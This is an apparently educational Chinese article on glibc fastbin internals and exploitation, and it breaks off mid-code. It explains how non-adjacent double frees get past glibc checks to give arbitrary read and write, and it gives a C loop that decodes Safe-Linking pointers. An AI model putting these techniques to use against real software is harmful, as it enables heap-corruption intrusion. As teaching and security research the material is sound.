1
针对fastbin的攻击
在GLibC的管理概念中,fast bin
是极其特殊的一个,这种特殊体现在多个方面。
◆第一点就是存放的位置,它和tcache是唯二拥有单独存放区域的链表。
像unsorted bin
、small bin
、large bin
这三类链表需要放在bins数组中进行存储,而fast bin
链表则是可以独占一个fastbinsY
数组。
更不用说独占一个全局变量tcahce
的天龙人tcache链表了。
◆第二点体现在fast chunk
在插入和取出的时机上。
不管是在申请的_int_malloc
阶段,还是释放的_int_free
,使用fast bin
链表链表的优先级都是相当高的。
对于GLibC提供的malloc
函数来讲,不管是释放还是申请内存时,它的优先级都是仅次于tcache的。
这一点正好体现了fast bin
的设计原则,快速响应较小chunk的分配与释放。
__libc_malloc
-> if (tc_idx < mp_.tcache_bins && tcache != NULL && tcache->counts[tc_idx] > 0)
-> tcache_get
-> _int_malloc
-> if ((nb) <= (get_max_fast ()))
-> ......
-> ......
_int_free
-> if (tcache != NULL && tc_idx < mp_.tcache_bins)
-> ......
-> if ((size) <= get_max_fast())
-> ......
◆第三点体现在fast bin
链表的结构上。
像unsorted bin
、small bin
、large bin
使用的是由fd
和bk
两个字段组成的双向循环链表。
其中fd
根据chunk入链时间的倒序对链表进行维护,链表头是最晚入链的chunk,而字段bk
则根据chunk入链时间的正序维护链表,链表头是最早入链的chunk。
像fast bin
链表就只使用fd
组成单向链表。
这么做的好处就是,程序每次获取到的都是最晚进入fast bin
链表,能有更大的几率取出仍位于CPU缓存上的数据,优化程序的运行速度。
除了只维护fd
的单向链表外,fast bin
链表应该还是唯一的,会在存取数据上会针对多线程进行区分的链表。
_int_malloc
-> if ((nb) <= (get_max_fast ()))
-> if (SINGLE_THREAD_P)
-> *fb = REVEAL_PTR (victim->fd);
-> else
-> REMOVE_FB (fb, pp, victim);
_int_free
-> if ((size) <= get_max_fast())
-> if (SINGLE_THREAD_P)
-> p->fd = PROTECT_PTR (&p->fd, old);
-> *fb = p;
-> else
-> do { old2 = old; p->fd = PROTECT_PTR (&p->fd, old); } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
从上面可以看到,GLibC会使用SINGLE_THREAD_P
宏判断程序是否为多线程。
在单线程时会使用REVEAL_PTR
直接将最晚入链的chunk移出链表,当chunk入链时也会直接操作链表。
但在多线程时,GLibC会使用REMOVE_FB
将chunk移出链表,而且在chunk入链时会进入do { ...... } while
循环语句中。
其实,REMOVE_FB
宏也是通过do { ...... } while
循环语句实现的。
但为什么在多线程中需要使用循环语句操作fast bin
链表呢?
catomic_compare_and_exchange_val_acq(mem, newval, oldval)
-> if (*mem == oldval)
-> *mem = newval
-> return oldval
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
#define REMOVE_FB(fb, victim, pp)
do
{
victim = pp;
if (victim == NULL)
break;
pp = REVEAL_PTR (victim->fd);
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) != victim);
进出链表时使用的循环语句,会通过catomic_compare_and_exchange_val_rel
宏推进循环,该宏的作用并不复杂,它接受三个参数,当*mem
等于oldval
时,就更新*mem
,最后不管*mem
是否等于oldval
,都会返回oldval
。
至于atomic
,如果你熟悉多线程编程,就应该知道当多个线程访问同一对象时,为了确保线程间不冲突,会添加锁进行保护,就像一个人上厕所时要把门锁上,这样别人就进不来了,同样的,锁也会保证多线程有序的访问同一对象。
但是锁也会带来很多问题,比如常见的死锁,为了避免锁带来的问题,就产生了一个名为无锁编程的概念。无锁编程的基石是原子化atomic
操作,原子操作指的是执行过程中不会被打断。
当线程使用无锁编程时,会利用原子操作访问对象,这时自然就不用担心其他线程和自己争抢访问对象了。
不过啊,所谓的原子的操作指的是一种轻量级的锁,不如在x86架构中,提供一种名为lock
的指令,执行指令前会先通过lock
加锁。
在了解catomic_compare_and_exchange_val_rel
宏之后,我们可以知道上面的循环语句并不会进行多次循环,而且在当前的场景中,该宏一定会给*mem
赋新值。
mchunkptr pp;
victim = *fb;
REMOVE_FB (fb, pp, victim);
显然,在这个时候do { ...... } while
循环语句的秘密已经解开了,它就是在多线程环境下,针对链表进行的无锁编程。
◆最后一点体现在fast chunk
对PREV_INUSE
标志位的使用上。
P标志只会出现在mchunk_size
和mchunk_prev_size
中,在malloc.c
代码中,可以经常看到set_head(xx, xx | PREV_INUSE)
的语句。
是的,set_head
宏是专门为操控mchunk_size
而准备的。因为set_head
经常会给mchunk_size
添加P位。
mchunk_size
上带着PREV_INUSE
标志位是常态,它只会在非fast chunk
类型且非mmap
方式分配的chunk释放时,才会通过clear_inuse_bit_at_offset
清空前一个nextchunk
的mchunk_size
的P位。
目的是告诉nextchunk
,当nextchunk
被释放时,它可以进行向后合并。
所以mchunk_size
的PREV_INUSE
标志位是“出厂时的默认设置”,PREV_INUSE
标志位想要被清空,那就必须prevchunk
被释放。
不过这种情况并不会涉及到fast chunk
,fast chunk
在释放时,并不会与其他的空闲chunk进行合并。
_int_free
-> if ((size) <= get_max_fast ())
-> ......
-> else if (!chunk_is_mmapped(p))
-> _int_free_merge_chunk
-> _int_free_create_chunk
-> if (nextchunk != av->top)
-> if (!nextinuse)
-> ......
-> else
-> clear_inuse_bit_at_offset(nextchunk, 0);
当然fast chunk
也并不是绝对不合并,GLibC会通过malloc_consolidate
接口c尝试合并fast chunk
。
最常见的场景,就是当程序进入_int_malloc
后,会检查have_fastchunks
标记,如果发现arena中存在fast chunk
就会开始合并。
_int_malloc
-> if (atomic_load_relaxed (&av->have_fastchunks))
-> malloc_consolidate (av);
malloc_consolidate
-> if (nextchunk != av->top)
-> if (!nextinuse)
-> ......
-> else
-> clear_inuse_bit_at_offset(nextchunk, 0);
至于mchunk_prev_size
的P位,甚至可以说它的所有标志位都是无效的,这是因为在GLibC中,mchunk_prev_size
只在chunk被切割后,记录上一个chunk的大小。
#define set_foot(p, s)(((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
set_foot (remainder, remainder_size);
单向链表的隐患
fast bin
只使用fd
维护链表,好处就是写出了cache友好的代码,并且会让链表中空闲chunk间的相对关系不那么复杂。
但坏处就是,仅通过fd
维护的成员,只会保证相邻chunk间具有链接关系,至于指向的内容是否正确就不得而知了。
而当使用fd
和bk
维护的双向链表时,不止可以保证相邻chunk间具有链接关系,而且还可以通过双向链表确认指向内容的正确性。
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (fd->bk != p || bk->fd != p)
malloc_printerr ("corrupted double-linked list");
还有一点,就是不管是针对单向链表还是双向循环链表的检查,都是停留只检查两相邻的chunk间的关系,不会遍历整个链表进行检查。
chunk重复释放问题
当程序将chunk释放后,按照道理来讲,程序就要将缓冲区变量的指针设置成NULL,如果不设置成空指针,就代表程序还有机会操作缓冲区变量。
首当其中的隐患就是UAF,由于程序还掌握着已释放chunk的内存地址,所以就还可以对已释放的chunk进行读写。
其次就是重复释放chunk了,未被置空的缓冲区变量可以被再次释放,但是chunk被重复释放会有什么安全隐患呢?
在了解重复释放的危害之前,我们先来探讨下fast chunk
是怎么完成重复释放的。
重复释放的形成
重复释放也被称作是Double Free
,即便你不熟悉二进制安全,也可能会经常听到过该漏洞的大名。
在没有任何安全检查的防范下,重复释放fast chunk
不会收到任何阻力。
针对重复释放的加固
但是Double Free
漏洞由来已久,GLibC也早就针对这块内容进行了加固,在版本较新的GLibC中,想要无痛的完成重复释放,还需要我们加深下对堆管理策略的理解。
在GLibC的malloc.c
代码中,存在着多个针对Double Free
漏洞的检查,这些检查主要集中在_int_free
函数中。
显然,这是为chunk的释放而专门准备的。
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
_int_free
-> if ((size) <= get_max_fast ())
-> unsigned int idx = fastbin_index(size);
-> fb = &fastbin (av, idx);
-> mchunkptr old = *fb, old2;
-> if (old == p)
-> malloc_printerr ("double free or corruption (fasttop)");
-> else if (!chunk_is_mmapped(p))
-> _int_free_merge_chunk
-> if (p == av->top)
-> malloc_printerr ("double free or corruption (top)");
-> if (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)))
-> malloc_printerr ("double free or corruption (out)");
-> if (__glibc_unlikely (!prev_inuse(nextchunk)))
-> malloc_printerr ("double free or corruption (!prev)");
_int_free
在释放过程中,针对Double Free
漏洞的检查分成两个部分。
◆第一部分就是针对fast chunk
进行的检查,这个检查比较简单,主要操作就是获取fast bin
链表中最晚入链的old
,并将old
与被释放的chunk地址进行比较,如果它们相同,GLibC就判定为重复释放,并抛出异常让程序终止运行。
至于fast bin
链表中的其余空闲chunk是否和最新被释放的chunk重复,那就检查不到了,遍历整个链表的负担难免有些太重了。
◆第二部分是针对unsorted chunk
、small chunk
、large chunk
的检查。
_int_free_merge_chunk
函数中针对重复释放的检查可以分成三步。
a. 第一步是针对top chunk
进行的,top chunk
是一切chunk的源头,所有被使用的chunk最先都是从top chunk
中分割出来的,因此它永远都是空闲的。
所以当GLibC发现被释放chunk的指针等同于top chunk
时,就会判断为重复释放并通过malloc_printerr
抛出异常。
你可能会好奇,fast bin
链表就不用担心被释放的指针是top chunk
吗?
对的!fast bin
链表不用担心这个问题。
fast bin
链表有一个天然的保护屏障,那就是fast chunk
的大小限制。
top chunk
的申请会在sysmalloc
中完成,sysmalloc
通过madvise
完成内存的申请,其中提供给madvise
的第三参数是MADV_HUGEPAGE
,这个参数代表想内核申请透明大页THP Transparent Huge Page
。
既然是大内存页,那么它一定不会太小,事实上GLibC会将内存跟dl_pagesize
进行对齐,dl_pagesize
大小一般跟内核使用的页大小一致,其数值就是0x1000。
sysmalloc
-> size = ALIGN_UP (size, GLRO(dl_pagesize));
-> if (size > 0)
-> madvise_thp (brk, size);
-> __madvise (p, size, MADV_HUGEPAGE);
这个大小肯定是超过fast chunk
的限制的,所以并不会影响到fast chunk
。
b. 第二步是针对nextchunk
进行的检查。
首先会确认nextchunk
是否位于top chunk
的上方,在GLibC的堆管理逻辑中,最顶部的chunk一般是top chunk
。
然后会通过contiguous
宏确认arena的标志位是否为NONCONTIGUOUS_BIT
,这个标志位的作用是记录GLibC分配的chunk是否连续。
当arena中不存在NONCONTIGUOUS_BIT
标志位时,就代表top chunk
必定是地址最高的chunk,其余的chunk一定位于top chunk
的下方。
当nextchunk
位于top chunk
的上方,且NONCONTIGUOUS_BIT
标志不存在时,GLibC就判断出被释放的chunk仍位于top chunk
中,它的释放属于空闲chunk被再次释放,所以这时GLibC也会抛出异常。
这里需要针对NONCONTIGUOUS_BIT
标志位再说明一下。
NONCONTIGUOUS_BIT
标志位的存在可以看作是是专门针对子线程而设置的。
你应该已经知道了一个知识点,那就是子线程不断申请内存时,并不会向主线程那样不断扩张top chunk
,当子线程让top chunk
超过上限HEAP_MAX_SIZE
时,就会启用子堆,然后通过heap_info
管理子堆。
malloc_init_state
-> if (av != &main_arena)
-> set_noncontiguous (av);
c. 第三步是确认nextchunk
的PREV_INUSE
是否已经不在了。
按照GLibC的逻辑,当chunk被释放时,它会将nextchunk
的PREV_INUSE
清除掉,所以呢,如果chunk释放时,发现nextchunk
的PREV_INUSE
已经不在了,就说明这个chunk应该是已经被释放过的,这个时候又来释放就属于重复释放了。
在加固措施的眼皮底下完成重复释放
从上面的针对Double Free
进行的加固措施中可以看到,加固的措施的局部性有效性非常的明显,所以虽然有加固措施的存在,但我们绕过缓解措施进行重复释放的机会其实还是大大地。
对于fast bin
来讲,只要相同的chunk只要不相邻,就不会被检查机制揪出来。
char *chunk_1, *chunk_2;
chunk_1 = malloc(0x40);
chunk_2 = malloc(0x40);
free(chunk_1)
free(chunk_2)
free(chunk_1)
fast bin: chunk_1 -> chunk_2 -> chunk_1
重复释放的危害分析
从表面上来看,chunk重复进入fast bin
链表的危害主要有两类,这两类利用的产生都可以看作是始于类型混淆。
◆一是程序可以给不同的缓冲区变量申请到同一个chunk,chunk 1
的混用可能会造成主观上的类型混淆,进而导致利用机会产生。
◆二是程序申请到链表头的chunk 1_1
时,由于在运行期中,malloc_chunk
结构体中除了mchunk_prev_size
和mchunk_size
以外的区域都会作为数据区,数据区就是程序申请完chunk后,实际拿来读写的区域。
GLibC这种设计,是基于入链chunk正常的前提下完成的,但当chunk发生重复释放时,就会造成被动的类型混淆。
当我们申请到链表头上的chunk 1_1
并向其中写入数据时,肯定会影响仍处于链表尾上的chunk 1_0
,最直接的影响就是chunk 1_0
的fd
。
只要fd
被改写,GLibC就不会再将chunk 2
视为chunk 1_0
的上一个chunk,而是将fd
指向的新内存区域看作是上一个入链的chunk。
|------------------|
↓ |
chunk_1_1 -> chunk_2 -> chunk_1_0 |
| ^ | ^ | |
fd-----------| fd-------| fd-----|
一旦我们控制了chunk_1_0
的fd
,那么当chunk_1_0
被取出时,fast bin
链表的头成员就变成了我们覆写的恶意地址,此时再次取出chunk,我们就拿到了恶意地址指向的内存区域。
对于程序来讲,操作缓冲区变量就相当于操作恶意地址上数据,此刻任意地址读写的环境创造完成!
不清空标志位带来的好处
在上面针对chunk重复释放的危害的描述中,我们可以隐约的感到fast chunk
的一个特性带来的好处。
这个好处就是,fast chunk
入链之后,不会与其他的chunk进行合并,chunk在链表中的相对关系始终是稳定的,而稳定的相对关系可以保证chunk的fd
始终有效。
如果chunk发生了合并,那么chunk 1_0
的fd
就无法发生作用了,这个时候使用的fd
就变成了其他的chunk的fd
,但新的fd
能否被控制就难说了。
至于这种好处的发生,要源自于fast chunk
的mchunk_size
中始终处于启用状态的标志位PREV_INUSE
,是它保障了fast chunk
不进行合并。
异或加解密的影响
想要改写fd
这个事情,可能很简单,也可能很复杂。
如果GLibC版本较低,向chunk_1_1
数据区写入地址A时,chunk_1_0
的fd
会被顺利改写成地址A,并可以直接拿来使用。
chunk_1_1 -> chunk_2 -> chunk_1_0 address_a
| ^ | ^ | ^
fd-----------| fd-------| fd-----------|
但当GLibC的版本较高时,直接写入的地址就不能被拿来使用了。
在高版本的GLibC针对fast bin
和tcache添加了一种地址随机化的机制,chunk在进入链表时,会通过PROTECT_PTR
将当前链表头上的chunk地址加密,加密后的地址会存放到新入链chunk的fd
上,最后将新入链chunk插入链表头,完成入链。
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
mchunkptr old = *fb;
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
经过上面的一番操作后,链表头上存放的chunk地址永远都是正确的,但通过fd
链接的其他chunk地址就变成了一个被随机化的地址。
这些不正确的地址都需要经过REVEAL_PTR
解密才可以得到恢复。
chunk出链也并不复杂,先是取出链表头上的victim
,通过REVEAL_PTR
对fd
上的地址进行解密,然后将解密后的chunk地址放到链表头上,最后返回victim
给程序进行使用就可以了。
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
victim = *fb;
*fb = REVEAL_PTR (victim->fd);
所以啊,在高版本的GLibC中控制空闲fast chunk
的fd
,就必须保证覆写fd
的数据在经过REVEAL_PTR
解密后,可以得到一个可读可写的内存地址。
而低版本的GLibC没有针对fd
加解密的这一设计,所以fd
上存储的永远都是正确的地址,自然也就不会拥有这种烦恼。
异或加解密的安全性简要分析
想要在针对fd
地址随机化的情况下,不仅完成fd
的覆写,还要使得GLibC在取出chunk时,可以让经REVEAL_PTR
解密后的数据,指向我们预期中的内存区域。
为了达到这一目的,我们需要了解下异或加解密的流程。
异或加解密,可以看作是一种非常简单的加解密措施,为了完成加解密的流程,它需要两个部分,一是文本信息,二是密钥。
对于PROTECT_PTR
来讲,ptr
是文本信息,而pos
就是密钥。
异或加解密的操作依赖于xor
异或运算,所谓的异或运算指的就是两比特位的数值相等时产生结果为0,反之则产生结果为1的运算规则。
#define PROTECT_PTR(pos, ptr)
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
在GLibC的设计中,它要求使用指针类型的数据,其中指针类型变量的内存地址作为密钥,而指针类型变量上存放数据则作为文本信息。
内存地址会右移12个比特位后生成实际使用的密钥,这是因为内存地址间的相似度比较高,所以右移打乱相似度,提高加密复杂度。
p->fd = PROTECT_PTR (&p->fd, old);
*fb = REVEAL_PTR (victim->fd);
明文与密钥经过异或运算产生密文后,只要解密时仍使用相同的密钥,就可以保证被翻转的比特位数值可以再翻转回来,恢复明文信息。
这也是使用指针类型变量的原因,同一指针类型变量的地址是固定,使用指针变量所在地址作为密钥,可以始终和文本信息绑定,我们不需要通过额外的手段获取密钥。
PROTECT_PTR
加密时使用的密钥其长度是跟文本信息一致的,这种做法的好处是安全性较高(相比于单字节密钥或重复密钥来讲)。
只要内存地址不被泄露出去,这种加密手段算是简单加密方法中较为快捷且有效的。
所以,在我们不知道存放fd
的内存地址的情况下,想要向fd
中写入可以被正确解密的数据,其实还是比较困难的。
安全链接机制的绕过方法初探
所谓上有政策,下有对策,难道chunk间的链接地址加固,就再无破解可能了吗?
当然不会是这样的!
PROTECT_PTR
宏中文本信息的低36位会与密钥的有效36比特位进行异或运算,而高28个比特位则会和0进行异或运算。
因此对于高28位来讲,密钥是已知的,当然64位系统中,内存地址的有效值只占48位,所以高28位中只有12位是有效数值,高28位中的高16位全是0,可以忽略。
要知道任何数据与0进行与异或运算,其结果都是数据本身。
这12个比特位上在加密后,仍存储着真实数据的特性将会给予我们莫大的帮助。
一个字节占用8个比特位,所以12个存储原始数据的比特位可以分成两个部分,高8个比特位为第5个字节,低4个比特位则属于第4个字节。
高位的1个半字节已经有着落了,那么后面的字节呢?
plain : 0x55fb52648290
key : 0x00055fb52648
cipher : 0x55fe0dd1a4d8
key xor cipher = plain
key xor plain = cipher
不管什么场景下,密文和明文进行异或运算的结果就是密钥,这个自然不用多说。
但是在PROTECT_PTR
宏的场景下,密文和右移12位的明文运算的结果可能就是真实的明文,这个东西可有点诡异,而且当cipher xor (plain >> 12) = plain
成立时,就代表我们在拥有完整密文和部分明文的情况下,逐字节的还原全部明文。
不过这个现象又是怎么产生的呢?
cipher xor plain = key
plain xor cipher = key
cipher xor (plain >> 12) = plain
这个现象之所以出现,其实是跟GLibC的arena与chunk的特殊地址息息相关的。
如果你仔细观察真实场景下,观察PROTECT_PTR
宏中pos
与ptr
的实际数值,就会发现,明文有效数据中的高36位数据刚好是等于密钥的。
plain : 0x 55fb52648290
key : 0x00055fb52648
显然,在PROTECT_PTR
宏的处理方式下,出现上面的情况大概率是一种必然。
密钥pos
的数值是chunk_address + offset(fd)
,而ptr
的数值则是某个真实chunk A
的地址,chunk A
的地址当然不会直接等于pos
的数值,但是,它们的数值应该是极为相似的。
因为这些chunk最初都是从top chunk
中切割出来的,所以chunk的地址可以归纳为基地址加偏移值heap_base + xxx
的格式,当两个chunk越相近时,它们的偏移值之差也不会太大,因此它们地址中相等的字节也会越多,所以明文数据右移12位后很有机会是等于密钥的。
破解之道就在其中!
当上述情况成立时,我们可以利用密文的有效地址获取未加密过的最高的第5字节,然后将最高字节右移12位,作为密钥解出第4字节,以此往复,直到第0字节也被解出。
for(i = 2; i <= 8; i++) {
bits = 64 - 8 * i;
if (bits < 0) {
bits = 0;
}
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf(
"stage %d: bits = %02d, key = 0x%016lx, plain = 0x%016lxn",
i, bits, key, plain
);
}
通过上面的分析,我们已经知道了破解Safe-Linking
机制的方法,比较土的方法呢,就是直接泄露密钥。
稍微先进一点的方法,会收到一点限制,要求明文的高36位等于密钥,当明文和密钥同时处于GLibC的堆环境时,这一点还比较容易达成,因为任何chunk的起始地址都是相同的,chunk在堆中的偏移值决定了它们的相似性。
再加上明文的最高12位不会被随机化,有这两种特性的加持,我们就可以在只拥有密文的前提下,逐字节的完成反随机化的工作。
当然,这是在基于存在信息泄露的前提下完成的,那么还有没有方法,可以在不进行信息泄露的前提下,就完成Safe-Linking
机制的绕过呢?
总结
堆内存一直是安全隐患的多发之地,本次事故的发生在于chunk被重复的释放。
释放的内存真的不可用了吗?
内存是软件的栖息之地,程序需要向内核申请内存进行使用,对于程序来讲,只要内存分配给了自己,那就是可以使用的,不存在真正意义上的内存失效一说。
比如栈虽然随函数的消失,但原来函数分配的栈空间其实还是可以读写的,再比如堆内存被释放后,也只是交给GLibC进行管理,程序并没有向内核申请削减内存,从程序的内存布局中可以看到,堆内存仍保持着原来的大小。
栈内存随函数变迁后,程序丧失了直接控制原来栈内存的途径,对于堆内存而言,也是一样,一旦chunk被释放,程序就应该丧失对已释放chunk的控制方法,比如将缓冲区变量的指针设置成空指针。
如果堆内存释放后,不被清理控制方法(内存地址置空),那么被释放的chunk仍位于程序的内存布局中,程序并没有真正的抛弃内存,那么这段在逻辑上被抛弃的内存,实际就仍是可以被直接控制的。
逻辑上不可用和程序仍拥有直接控制方法的现实起了冲突,造成这一情况的原因,是程序员并不熟悉操作系统与GLibC的机制,以为释放后堆内存就不可以用了。
这种冲突的情况,会产生诸多的安全问题,比如大名鼎鼎的UAF,以及本文中出现的重复释放问题。
可能是间谍?
堆内存重复释放的问题由来已久,它之所以可以被利用,有一部分原因是由GLibC在管理chunk采用不明确的机制引起的。
GLibC将chunk划分成由struct malloc_chunk
结构体和数据区两个部分,重复释放问题产生的关键就在于struct malloc_chunk
结构体。
struct malloc_chunk
结构体的区域可以被看作是功能区,一旦被怀有恶意者掌控,后果将会不堪设想,而GLibC混乱的管理方案,为我们提供了机会。
GLibC针对chunk的管理需要分成使用期以及释放期,在使用阶段中malloc_chunk
只有mchunk_prev_size
和mchunk_size
两个字段会发挥作用,而全部字段只有在释放阶段时才会全部发挥作用。
在正常情况下,这种管理方式并不会导致问题,非正常情况下就不好说了。
mchunk_prev_size
和mchunk_size
是chunk被切割出来时就产生,这两个字段的数值需要一直保持,不能丢失,这也是两个字段始终发挥作用的原因。
而fdxx
和bkxx
则只会在chunk被释放时才会被使用,其余时候并不会被使用,所以其余的地段也只会在释放时在才会被赋成有效地址。
* data area *
* | bk_nextsize | *
* | fd_nextsize | *
* | bk | *
* | fd | *
| mchunk_size |
| mchunk_prev_size |
像fdxx
和bkxx
这样在不同阶段拥有不同身份的角色,很有可能变成间谍。
利用缺口的产生
当程序握有已释放chunk的内存地址时,首先是fd
位置上的真实内存数据可以被泄露出来,其次就是从fd
位置开始的地方写入数据。
在GLibC的眼中,结构体malloc_chunk
中的fdxx
和bkxx
此时指向链表中其余的空闲chunk,指针变更等价于空闲chunk变更,这就说明我们有机会向GLibC申请到指定的内存区域,并从该内存区域中读写数据。
这时任意地址读写的环境已经被我们构造了出来。
链表类型与安全检查的影响
在GLibC中,chunk释放时会根据情况进入不同的链表中,这些链表在管理策略上有些不同,导致它们对malloc_chunk
中的fdxx
和bkxx
的使用上有些区别。
首先是fast bin
链表,采用先进后出的原则进行控制,所以只用fd
一个字段,至于unsorted bin
、small bin
、large bin
三个链表,它们不需要考虑缓存友好的问题,所以会主要会使用bk
维护先进先出链表,当然,它们也会使用fd
维护一份先进后出链表,形成双向链表。
large bin
链表还要特殊一些,其余链表中chunk大小是相等的,而large bin
链表中chunk大小是可以不相等的,所以large bin
链表还会使用malloc_chunk
中的fd_nextsize
和bk_nextsize
字段。
前面说过重复释放的漏洞困扰GLibC很长时间了,GLibC也针对重复释放进行了加固,但是因为重复释放chunk很难有效的检测,所以GLibC只会针对相邻的chunk以及永远空闲的top chunk
进行检测,这种加固机制给了我们绕过防御的可能性。
GLibC在加固时使用的检测方法一般与malloc_chunk
中的fdxx
和bkxx
强相关,但这里主要关注fast bin
所维护的fd
链表。
fast bin
链表因为只会检查新释放chunk和前一个释放的chunk是否相同,所以绕过这个并不费劲,但是GLibC引入了一种地址随机化的机制保护fd
上存放的数据。
不管是从fd
上读取数据会面临数据“变形”的问题,向fd
上写入数据后,需要保证后续地址进行反随机化时,可以解出正确的地址。
这个随机化机制,为了保证密钥和数据的绑定,所以直接使用了&fd
作为密钥,由于密钥&fd
和明文数据*fb
都是chunk的地址,如果这两个chunk是相近的,那么它们有效地址中高36位就有极大概率是一样的(密钥地址右移12位),即明文等于密钥,又因为明文的高12位是不被加密,所以密文中还自带明文,这个时候就可以逐字节的让密文解出明文,再用明文作为密钥,接触下个字节的明文,直到解出全部的明文。
当然,要是能直接泄露&fd
的地址获取密钥也是可以的。
崩溃大赏
构造出异常的chunk环境后,安全风险当然是很大很明确的,除了安全风险之外,异常的chunk环境导致程序崩溃的情况也并不罕见。
你也在用堆内存啊!
如果你现在形成了异常的堆内存环境,比如重复释放chunk,那就一定小心了,因为可能一个正常的堆内存申请都会将你的程序搞到崩溃。
当然啊,如果chunk的位置保持不动,程序要出现崩溃的情况还是不太和道理的,但是在GLibC的管理概念中,chunk常常是需要迁移的。
比如下面的示例中,程序出现了chunk 1
被重复释放的情况,假如这时调用GLibC的接口getchar
,就会产生崩溃。
chunk 1 -> chunk 2 -> chunk 1
chunk_1 = malloc(0x30);
malloc(0x30);
chunk_2 = malloc(0x30);
free(chunk_1);
free(chunk_2);
free(chunk_1);
getchar();
其根本原因在于,getchar
这个看起来人畜无害的东西,因为需要从stdin
中获取输入,所以会申请堆内存,申请的内存还挺大的,足足一个页的大小,这个大小显然应该归类到large chunk
中,申请large chunk
不要紧,但是_int_malloc
发现申请大小属于large chunk
时,会使用malloc_consolidate
合并fast bin
链表中的空闲chunk。
这一合并操作看似没有问题,实则内含隐患,隐患于重复释放的任意地址读写的原理是一样的,chunk_1
会先被拉进unsorted bin
链表中,这个时候chunk 1
的fd
保存的数据就变成了unsorted bin
中chunk的地址或&bins[0]
的地址。
由于链表中存在两份chunk_1
,所以chunk_1
还会再被取出进行合并,当然这时也不会产生问题,但是malloc_consolidate
会通过chunk_1
的fd
上保持的地址查找下一个fast chunk
。
不管地址是真实的chunk还是&bins[0]
,它们都要经过REVEAL_PTR
宏进行反随机化,经过异或运算后,地址基本上都不会在和MALLOC_ALIGNMENT
对齐,导致无法绕过地址对齐检查misaligned_chunk
。
#define misaligned_chunk(p)((p) & MALLOC_ALIGN_MASK)
getchar
-> __GI___uflow
-> ......
-> _int_malloc
-> malloc_consolidate
-> fb = &fastbin (av, 0);
-> p = *fb;
-> if (misaligned_chunk (p))
-> malloc_printerr
-> -> p = REVEAL_PTR (p->fd);
除了getchar
的问题之外,打印函数printf
也是一个极为常见,且使用堆内存的函数,它因为需要需要向stdout
设备输出信息,所以也会使用堆内存。
下面给出了一个崩溃场景的示例,chunk 1
重复释放后,调用了pr
intf
函数,该函数因为会使用堆内存,所以先通过malloc
接口申请内存。
printf
申请内存的也是一个页,所以会跟getchar
一样进入large chunk
的分支,然后通过检测到空闲chunk存在,并开始通过malloc_consolidate
对chunk进行合并以及迁移。
chunk_1 = malloc(0x30);
chunk_2 = malloc(0x30);
free(chunk_1);
free(chunk_2);
free(chunk_1);
printf("xxxx");
(gdb) bt
......
#5 0x00007ffff7e4d965 in malloc_printerr
#6 0x00007ffff7e4e4b8 in malloc_consolidate
#7 0x00007ffff7e50b88 in _int_malloc
#8 0x00007ffff7e51eaa in __GI___libc_malloc
#9 0x00007ffff7e2cfc3 in __GI__IO_file_doallocate
......
#15 0x00007ffff7e09952 in __printf_buffer_flush_to_file
#16 0x00007ffff7e09a10 in __printf_buffer_to_file_done
#17 0x00007ffff7e146f9 in __vfprintf_internal
#18 0x00007ffff7e0912b in __printf
......
不过printf
函数触发的崩溃位置和getchar
函数有所不同,它是在检查地址时出现的崩溃,当程序申请出chunk 1
以及chunk 2
后,因为chunk 2
和chunk 1
相邻,所以就把chunk 1
合并了。
因为申请大小是0x30,所以chunk的实际大小是0x40,合并后的chunk大小是0x80,当重复的chunk 1
再被移除链表后,会经过((&fastbin (av, idx)) != fb)
的检查,但是这里chunk 1
的大小刚好超过了fast chunk
的限制,所以刚好无法从数组fastbinsY
中获取有效的fast bin
链表,自然也就通不过检查。
当然即使chunk不是相邻或合并后大小未超过fast chunk
的限制,它也会在后面遇到和getchar
一样的崩溃。
毕竟fb
上变异的数值大概率不会在反随机化后仍和MALLOC_ALIGNMENT
对齐。
malloc_consolidate
-> unsigned int idx = fastbin_index (chunksize (p));
-> fb = &fastbin (av, 0);
-> if ((&fastbin (av, idx)) != fb)
-> malloc_printerr ("malloc_consolidate(): invalid chunk size");
如果想要在不适用堆内存的情况下,依旧完成向屏幕输出内容的任务,可以考虑下使用设备stderr
和fprintf
接口,printf
和fprintf
的功能是一样,唯一不同的是,printf
默认使用stdout
作为输出设备,如果fprintf
选择stdout
作为输出设备,那么也会使用堆内存。
是否使用堆内存,取决于设备是否需要缓冲区,像stderr
就不需要缓冲区,它默认是即即时写入的,而stdout
则默认是需要缓冲区的。
缓冲区的大小以及是否需要缓冲区也可以通过setvbuf
接口设置。
所以呢,想要避免构造出异常的堆内存环境后,后续正常的申请操作引发程序的崩溃,就需要尽量避免申请堆内存,造成chunk的合并或迁移。
烦人的tcache
上面介绍的是一些会使用堆内存的库函数,对于fast chunk
类型来讲,GLibC从链表large bin
或top chunk
中获取chunk时,会检查arena是否存在fast chunk
,如果存在就通过malloc_consolidate
合并。
if (in_smallbin_range (nb))
-> .....
else
-> if (atomic_load_relaxed (&av->have_fastchunks))
-> malloc_consolidate
use_top:
-> if ((size) >= (nb + MINSIZE))
-> ......
-> else if (atomic_load_relaxed (&av->have_fastchunks))
-> malloc_consolidate
但是,你可不要以为避免从large bin
或top chunk
中获取chunk就万事大吉了。
因为tcache机制的存在,即使申请的内存大小属于fast chunk
,在tcache中的链表还没有被填满时,会将fast bin
链表中其余的chunk填入tcache中。
if (nb <=(get_max_fast ()))
-> idx = fastbin_index (nb);
-> mfastbinptr *fb = &fastbin (av, idx);
-> victim = *fb;
-> if (victim != NULL)
-> *fb = REVEAL_PTR (victim->fd);
-> size_t tc_idx = csize2tidx (nb);
-> if (tcache != NULL && tc_idx < mp_.tcache_bins)
-> mchunkptr tc_victim;
